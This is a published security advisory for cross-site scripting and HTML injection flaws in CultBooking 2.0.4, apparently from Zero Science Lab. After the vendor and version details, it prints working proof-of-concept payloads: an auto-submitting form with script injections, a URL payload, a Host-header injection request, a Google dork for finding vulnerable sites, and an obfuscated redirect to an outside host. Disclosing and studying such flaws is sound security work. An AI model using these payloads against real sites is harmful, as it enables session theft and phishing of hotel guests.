<!--

CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities


Vendor: Cultuzz Digital Media GmbH
Product web page: http://www.cultuzz.com
Affected version: 2.0.4

Summary: Open source hotel booking system (Internet Booking Engine (IBE)). Via a
central api called CultSwitch it is possible to make bookings and set the actual
availabilities in the hotels pms. This is easy to install and easy to integrate
with full support.

Desc: CultBooking Hotel Booking System suffers from a XSS/PD vulnerability when
parsing user input to the 'bookingcode', 'email' and 'lang' parameter via POST
and GET methods in cultbooking.php script. Attackers can exploit this weakness
to execute arbitrary HTML and script code in a user's browser session.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                             liquidworm gmail com
                             Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2011-4987
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4987.php

16.01.2011

-->


Dork: "inurl:cultbooking.php"

<script type="text/javascript">function xss1(){document.forms["xss"].submit();}</script>
<form action="http://1.1.1.2/cultbooking.php" enctype="application/x-www-form-urlencoded" id="xss"  method="POST">
<input type="hidden" name="agentsine" value="10492">
<input type="hidden" name="agentdutycode" value ="1429741cfe1700d7">
<input type="hidden" name="lang" id="lang" value="en">
<input type="hidden" name="hcode" value="11225">
<input type="hidden" name="action" value="cancelbooking">
<input type="hidden" name="email" value='"><script>alert(2)</script>' />
<input type="hidden" name="bookingcode" value='"><script>alert(1)</script>' />
</form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>


http://1.1.1.2/cultbooking.php?lang=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E


HTML Injection via Header Attack:
---------------------------------------------------------------------
POST http://1.1.1.2/cultbooking.php HTTP/1.1
Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401 Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive

action=cancellation
---------------------------------------------------------------------
Affected Header variable: Host


magic quotes bypass redirect:
http://1.1.1.2/cultbooking.php?lang="><script>document.location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46, 109, 107);</script>